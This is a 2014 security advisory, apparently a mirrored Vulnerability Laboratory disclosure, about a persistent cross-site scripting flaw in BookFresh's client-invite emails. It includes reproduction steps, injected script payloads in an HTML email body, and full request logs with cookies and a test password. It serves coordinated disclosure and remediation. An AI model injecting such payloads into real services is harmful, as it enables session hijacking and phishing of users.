Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:31463
HistoryDec 01, 2014 - 12:00 a.m.

BookFresh - Persistent Clients Invite Vulnerability

2014-12-0100:00:00
vulners.com
101

Document Title:

BookFresh - Persistent Clients Invite Vulnerability

References (Source):

http://www.vulnerability-lab.com/get_content.php?id=1351

Release Date:

2014-10-28

Vulnerability Laboratory ID (VL-ID):

1351

Common Vulnerability Scoring System:

3.9

Product & Service Introduction:

BookFresh is an innovative scheduling software program that sets the standard for 21st century appointment management and creation for small businesses.
Bookfresh connects small business owners and customers instantly. As a small business owner, you already know that a strong work ethic and uncompromised
customer service is the key to building a solid client base, but sometimes a little magic and innovation is all you need to watch your profits soar.
The BookFresh scheduling software offers scheduling solutions directly to service professionals and service brands, as well as APIs, enterprise services
and reseller solutions to online publishers who have a presence with an SMB audience.

Let BookFresh Work for You! Whether you are a handyman, a sales consultant, a personal trainer or even a pet sitter, BookFresh knows that the key to your
success is making it easy for clients to schedule appointments with you. We live in a 24/7 world, which means that sometimes potential clients, even
existing clients, want to be able to access your company at two o`clock in the morning. BookFresh makes this possible! The software we created makes it
easy to accept online appointments from new and existing clients. Whether you are interested in growing your small business or simply want to upgrade your
services for existing clients; our scheduling software can help you achieve these goals for your small business.

(Copy of the Vendor Homepage: https://www.bookfresh.com/about-us )

Abstract Advisory Information:

The Vulnerability Laboratory Research Team discovered a persistent encoding web vulnerability in the official BookFresh online payment web-application & api.

Vulnerability Disclosure Timeline:

2014-10-23: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-10-24: Vendor Notification (BookFresh Security Team - Bug Bounty Program)
2014-10-27: Vendor Response/Feedback (BookFresh Security Team - Bug Bounty Program)
2014-10-28: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

BookFresh LLC
Product: BookFresh - Web Application & API 2014 Q4

Exploitation Technique:

Remote

Severity Level:

Medium

Technical Details & Description:

A persistent input validation & mail encoding vulnerability has been discovered in the official BookFresh web-application & api.
The vulnerability allows a remote attacker to inject own malicious script codes to the application-side of the vulnerable service module.

The security vulnerability is located in the `phone`,`from` and `message` input values of the `cindex.php/clients` module. Remote attackers
are able to perform a PUT request to execute persistent script codes in bookfresh service notification mails. The attackers registers an user
account and is able to execute script codes in the invite people notification mails of the bookfresh service. The attack vector of the issue
is on the application-side of the online-service and the request method to inject the code is `PUT`.

The security risk of the persistent vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the vulnerability requires a low privileged application user account and low user interaction. Successful exploitation of the
vulnerability results in session hijacking, persistent phishing attacks, persistent external redirect via mail and persistent manipulation of
affected or connected module context.

Vulnerable Module(s):
[+] Index > Add Clients (Invite)

Vulnerable Parameter(s):
[+] phone
[+] from
[+] message

Affected Service(s):
[+] Invite Mail Notification Service ([email protected])

Proof of Concept (PoC):

The persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Vulnerable Module: Index > Add Clients (Invite)
Vulnerable URL: https://www.bookfresh.com/cindex.php/clients#9f29673d878097fd23de3bae1523da44

Test Account: [email protected]
Test Password: chaos666
Date/Time: 24.10.2014 14:35-14:50

Manual steps to reproduce the security vulnerability …

  1. Register an account and login to the bookfresh online-service application
  2. Open the client add module to invite another user account
  3. Inject your own script code payload to the phone, message and from input fields
  4. Send the invite to another bookfresh user or to a random email user account by usage of the save function
    Note: After the PUT request the injected script code in the vulnerable values bypass the validation through the bookingfresh api
  5. The target mailbox gets a notify of the bookfresh service mail ([email protected]) thats executes the script code on the application-side in the vulnerable values context
  6. Successful reproduce of the application-side (persistent) security vulnerability!

PoC: Exploit

<table class="mainframe">
<tbody>
<tr>
<td align="center">
<table border="0" cellspacing="20" cellpadding="0" width="580" bgcolor="#ffffff">
<tbody><tr><td class="mainbar" align="left" valign="top">
<!-- This mail body use in profile when we send message to customer by the click of the 'send'button and it the format of
body is changed while working on ready book proj and backup is on svn before date 1 june 2007 and on developer manish tomar's local system–>

Hi <img src=x onerror=alert(/PTEST/)</script> <img src=x onerror=alert(/PTEST/)</script>, # Username is secure encoded!
<br /><br />You have received a new Customer Message from your BookFresh profile page.
<br /><table> <tr>
<td align=right>From: </td><td>>"<%20 <img src=x onerror=alert(/PTEST/)</script></td> # wrong encoded!
</tr><tr><td align=right>Email: </td><td>[email protected]</td>
</tr><tr>
<td align=right>Phone: </td><td>>"<%20 <img src=x onerror=alert(/PTEST/)</script></td> # wrong encoded!
</tr><tr><td align=right>Message: </td><td>>"<%20 <img src=x onerror=alert(/PTEST/)</script></td> # wrong encoded!
</tr></table>
<br /><br /></td></tr></tbody></table></td></tr><tr>
<td align="center">
<span style="font-size: 8pt; color: #808080; font-family: arial">Questions? Contact us at <a class="footer_link"
href="http://support.bookfresh.com/customer/portal/emails/new?utm_campaign=bf_trans&#37;3A&#37;3A14-Oct-24&amp;utm_source=send_message&amp;utm_medium=email&quot;&gt;Customer Support</a>.<br />
Booking Services provided by © BookFresh, LLC</span><br/>
<span style="font-size: 8pt; color: #808080; font-family: arial"><a class="footer_link" href="privacy.html">Read</a> the BookFresh Privacy Policy.</span><br/>
<span style="font-size: 8pt; color: #808080; font-family: arial"><a class="footer_link" href="index.html?view=opt_out">Click here to unsubscribe, or be removed,</a> from our email list.</span><br/>
<span style="font-size: 8pt; color: #808080; font-family: arial">BookFresh and the BookFresh Logo are registered trademarks of <span>BookFresh, LLC.</span></span><br/>
</td></tr></tbody></table>
<!-- tname: email_SendMessage.tpl tid: 26 tab: A send date: 2014-10-24–>
<img src="http://email.bookfresh.com/wf/open?upn=uY64WvidYmA-2BK5R2ZgrqaysavcJU6rIwi-2BTH2m-2BnvrF7gIIWPH8UWHQ5IPkwAumsOQpAjYk9iXfKleJZs4F5L-2FrbX5cy6kOq-2F-2BgLKDDRdr0RsDKQLFl-2FONiWVLGGjc6Q9CXiSP5cPniDQsO7skfUHsaYZHVjrca69HQVChE7UbhbTtoTNujSdCVKJShEWbpQZ-2Bfw85nmnSDkQRQZxQjW2OE1c9m8t3c60RvypYObWH3rBpE0z11TXmjvuWNW3D4Q&quot; alt="" width="1" height="1"
border="0" style="height:1px !important;width:1px !important;border-width:0 !important;margin-top:0 !important;margin-bottom:0 !important;margin-right:0 !important;margin-left:0
!important;padding-top:0 !important;padding-bottom:0 !important;padding-right:0 !important;padding-left:0 !important;"/>
</body>
</html>
</body>
</html>

— PoC Session Logs [PUT] (Phone, Message & Email Values) —
15:29:24.953[936ms][total 936ms] Status: 200[OK]
PUT https://www.bookfresh.com/cindex.php/backbone_api/clients/9f29673d878097fd23de3bae1523da44 Load Flags[LOAD_BACKGROUND ] Gro?e des Inhalts[656] Mime Type[application/json]
Request Header:
Host[www.bookfresh.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[application/json, text/javascript, /; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/json; charset=UTF-8]
X-CSRF-Token[dd5d7d46c5aa14d736fab7accaa26892]
X-Requested-With[XMLHttpRequest]
Referer[https://www.bookfresh.com/cindex.php/clients]
Content-Length[1566]
Cookie[exp_last_visit=1098793409; exp_last_activity=1414153682; exp_tracker=a%3A2%3A%7Bi%3A0%3Bs%3A7%3A%22pricing%22%3Bi%3A1%3Bs%3A5%3A%22index%22%3B%7D; exp_stashid=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A40%3A%22a6f1b5568526e667fc23b9df8b909c4033ccd4d9%22%3Bs%3A2%3A%22dt%22%3Bi%3A1414153409%3B%7D; __utma=172549936.1040555376.1414153707.1414153707.1414154524.2; __utmc=172549936; __utmz=172549936.1414154524.2.2.utmcsr=send_invite|utmccn=bf_trans::14-Oct-24|utmcmd=email; PHPSESSID2=fba6f3efafeba128a152ccac7f385a62; optimizelySegments=%7B%7D; optimizelyEndUserId=oeu1414153426800r0.9022819634031048; optimizelyBuckets=%7B%7D; user_segment=Prospect; 0=; 1=; ci_csrf_token=dd5d7d46c5aa14d736fab7accaa26892; hitlog_previous_view=ajax; ajs_user=%7B%22id%22%3A%22336105318%22%2C%22traits%22%3A%7B%22email%22%3A%22bkm%40evolution-sec.com%22%2C%22created%22%3A1414178914%2C%22firstName%22%3A%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22lastName%22%3A%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22AccountType%22%3A%22Freebie%22%2C%22Partner%22%3A%22Site%22%2C%22V2Enabled%22%3A%22yes%22%2C%22BusinessCategory%22%3A%22auto%22%7D%7D; StaffFilterActive=; FCView=agendaWeek; FCWeekends=true; wcsid=papxuKWK1AQ9pZOE4491G5P3JNLJ6b1T; hblid=ZjHg0Fr4qFgx2rsW4491G5P3JN8yLoJ1; _oklv=1414154886305%2CpapxuKWK1AQ9pZOE4491G5P3JNLJ6b1T; olfsk=olfsk7646853271129184; _okbk=cd4%3Dtrue%2Cvi5%3D0%2Cvi4%3D1414153790074%2Cvi3%3Dactive%2Cvi2%3Dfalse%2Cvi1%3Dfalse%2Ccd8%3Dchat%2Ccd6%3D0%2Ccd5%3Daway%2Ccd3%3Dfalse%2Ccd2%3D0%2Ccd1%3D0%2C; _ok=9558-780-10-9044; kvcd=1414154695823; km_ai=wRxGgAKNuV%2F1hVqbidBhjL91IRg%3D; km_uq=; km_lv=x; mp_2197551b77685f5afde96bfaeb663423_mixpanel=%7B%22distinct_id%22%3A%20%22149421cca1bb15-04ab1d7c297b6f8-41534336-1fa400-149421cca1ca98%22%2C%22Site%22%3A%20%22v3%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fhackerone.com%2Fbookfresh%22%2C%22%24initial_referring_domain%22%3A%20%22hackerone.com%22%2C%22__alias%22%3A%20%22336105318%22%2C%22mp_name_tag%22%3A%20%22bkm%40evolution-sec.com%22%2C%22AccountType%22%3A%20%22Freebie%22%2C%22Partner%22%3A%20%22Site%22%2C%22V2Enabled%22%3A%20%22yes%22%2C%22BusinessCategory%22%3A%20%22auto%22%2C%22%24created%22%3A%20%222014-10-24T19%3A28%3A34.000Z%22%2C%22%24email%22%3A%20%22bkm%40evolution-sec.com%22%2C%22%24first_name%22%3A%20%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22%24last_name%22%3A%20%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%7D]
Connection[keep-alive]
POST-Daten:
{"id":"9f29673d878097fd23de3bae1523da44","deleted":"0","date_entered":"2014-10-24 05:43:12","date_modified":"2014-10-24 12:43:00","mask_flags":"0","email":"[email protected]","encrypted_password":null,"is_valid":"0","is_merchant":"0","first_name":"<img src[x onerror=alert(/PTEST/)</script>","last_name":"<img src=x onerror=alert(/PTEST/)</script>","birthday":"1973-10-23T22:00:00.000Z","company_name":"<img src=x onerror=alert(/PTEST/)</script>","address1":"<img src=x onerror=alert(/PTEST/)</script>","address2":null,"city":"blabla","state":"","country":null,"zipcode":"23451","phone":"46436436","cellphone":"<img src=x onerror=alert(/PTEST/)</script>","phone_type":"0","cellphone_type":"0","paypal_userid":null,"owner_id":"459c17cba4ecf98084e9a1f24d319144","private":"1","notes":"<img src=x onerror=alert(/PTEST/)</script>","timezone":"America/Los_Angeles","invited":"0","user_photo":null,"enabled":"1","reminder_emails_enable":"0","reminder_emails_time":"24","reminder_emails_text":null,"appt_emails_enable":false,"reminder_emails_merchant":"0","review_emails_enable":"1","review_emails_text":null,"act_type_id":"1","is_admin":"0","is_comp":"0","last_login":"2014-10-24 12:43:00","has_welcome_call":"0","user_photo_id":null,"is_affiliate_invitee":"0","email_bounced":"0","email_bounce_date":"0000-01-01 00:00:00","is_mobile":"0","reviews_by_rating":"0","reminder_sms_enable":"0","reset_password_token":null,"reset_password_sent_at":null,"remember_created_at":null,"uid":null,"failed_attempts":"0","locked_at":null,"appt_sms_enable":false,"actions":[]}]
Response Header:
Server[nginx/1.4.4]
Date[Fri, 24 Oct 2014 13:29:37 GMT]
Content-Type[application/json]
Content-Length[656]
Connection[keep-alive]
X-Powered-By[PHP/5.3.28]
Set-Cookie[ci_csrf_token=dd5d7d46c5aa14d736fab7accaa26892; expires=Fri, 24-Oct-2014 15:29:37 GMT; path=/; httponly]
p3p[CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
status[200]
Vary[Accept-Encoding,User-Agent]
Content-Encoding[gzip]

15:29:26.325[321ms][total 321ms] Status: 200[OK]
GET https://www.bookfresh.com/cindex.php/backbone_api/clients/find?query=&amp;offset=0 Load Flags[LOAD_BACKGROUND ] Gro?e des Inhalts[1012] Mime Type[application/json]
Request Header:
Host[www.bookfresh.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[/]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-CSRF-Token[dd5d7d46c5aa14d736fab7accaa26892]
X-Requested-With[XMLHttpRequest]
Referer[https://www.bookfresh.com/cindex.php/clients]
Cookie[exp_last_visit=1098793409; exp_last_activity=1414153682; exp_tracker=a%3A2%3A%7Bi%3A0%3Bs%3A7%3A%22pricing%22%3Bi%3A1%3Bs%3A5%3A%22index%22%3B%7D; exp_stashid=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A40%3A%22a6f1b5568526e667fc23b9df8b909c4033ccd4d9%22%3Bs%3A2%3A%22dt%22%3Bi%3A1414153409%3B%7D; __utma=172549936.1040555376.1414153707.1414153707.1414154524.2; __utmc=172549936; __utmz=172549936.1414154524.2.2.utmcsr=send_invite|utmccn=bf_trans::14-Oct-24|utmcmd=email; PHPSESSID2=fba6f3efafeba128a152ccac7f385a62; optimizelySegments=%7B%7D; optimizelyEndUserId=oeu1414153426800r0.9022819634031048; optimizelyBuckets=%7B%7D; user_segment=Prospect; 0=; 1=; ci_csrf_token=dd5d7d46c5aa14d736fab7accaa26892; hitlog_previous_view=ajax; ajs_user=%7B%22id%22%3A%22336105318%22%2C%22traits%22%3A%7B%22email%22%3A%22bkm%40evolution-sec.com%22%2C%22created%22%3A1414178914%2C%22firstName%22%3A%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22lastName%22%3A%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22AccountType%22%3A%22Freebie%22%2C%22Partner%22%3A%22Site%22%2C%22V2Enabled%22%3A%22yes%22%2C%22BusinessCategory%22%3A%22auto%22%7D%7D; StaffFilterActive=; FCView=agendaWeek; FCWeekends=true; wcsid=papxuKWK1AQ9pZOE4491G5P3JNLJ6b1T; hblid=ZjHg0Fr4qFgx2rsW4491G5P3JN8yLoJ1; _oklv=1414154886305%2CpapxuKWK1AQ9pZOE4491G5P3JNLJ6b1T; olfsk=olfsk7646853271129184; _okbk=cd4%3Dtrue%2Cvi5%3D0%2Cvi4%3D1414153790074%2Cvi3%3Dactive%2Cvi2%3Dfalse%2Cvi1%3Dfalse%2Ccd8%3Dchat%2Ccd6%3D0%2Ccd5%3Daway%2Ccd3%3Dfalse%2Ccd2%3D0%2Ccd1%3D0%2C; _ok=9558-780-10-9044; kvcd=1414154695823; km_ai=wRxGgAKNuV%2F1hVqbidBhjL91IRg%3D; km_uq=; km_lv=x; mp_2197551b77685f5afde96bfaeb663423_mixpanel=%7B%22distinct_id%22%3A%20%22149421cca1bb15-04ab1d7c297b6f8-41534336-1fa400-149421cca1ca98%22%2C%22Site%22%3A%20%22v3%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fhackerone.com%2Fbookfresh%22%2C%22%24initial_referring_domain%22%3A%20%22hackerone.com%22%2C%22__alias%22%3A%20%22336105318%22%2C%22mp_name_tag%22%3A%20%22bkm%40evolution-sec.com%22%2C%22AccountType%22%3A%20%22Freebie%22%2C%22Partner%22%3A%20%22Site%22%2C%22V2Enabled%22%3A%20%22yes%22%2C%22BusinessCategory%22%3A%20%22auto%22%2C%22%24created%22%3A%20%222014-10-24T19%3A28%3A34.000Z%22%2C%22%24email%22%3A%20%22bkm%40evolution-sec.com%22%2C%22%24first_name%22%3A%20%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22%24last_name%22%3A%20%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%7D]
Connection[keep-alive]
Response Header:
Server[nginx/1.4.4]
Date[Fri, 24 Oct 2014 13:29:14 GMT]
Content-Type[application/json]
Content-Length[1012]
Connection[keep-alive]
X-Powered-By[PHP/5.3.28]
Set-Cookie[ci_csrf_token=dd5d7d46c5aa14d736fab7accaa26892; expires=Fri, 24-Oct-2014 15:29:14 GMT; path=/; httponly]
p3p[CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
status[200]
Vary[Accept-Encoding,User-Agent]
Content-Encoding[gzip]

Reference(s):
https://www.bookfresh.com/cindex.php
https://www.bookfresh.com/cindex.php/backbone_api/clients/
https://www.bookfresh.com/cindex.php/backbone_api/clients/find?query=&amp;offset=0
https://www.bookfresh.com/cindex.php/backbone_api/clients/9f29673d878097fd23de3bae1523da44

Solution - Fix & Patch:

The security vulnerability can be patched by a secure restriction to the input of special chars or script code tags. Parse and encode the vulnerable from, phone and message input in the clients invite module to prevent persistent script code execution attacks through service notification mails.

Security Risk:

The security risk of the persistent input validation vulnerability in the web-server mail db encode is estimated as medium (CVSS 3.9)

Credits & Authors:

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]

Disclaimer & Information:

The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: [email protected] - [email protected] - [email protected]
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
([email protected] or [email protected]) to get a permission.

			Copyright © 2014 | Vulnerability Laboratory - [Evolution Security GmbH]™

– VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: [email protected] COMPANY: Evolution Security GmbH BUSINESS: www.evolution-sec.com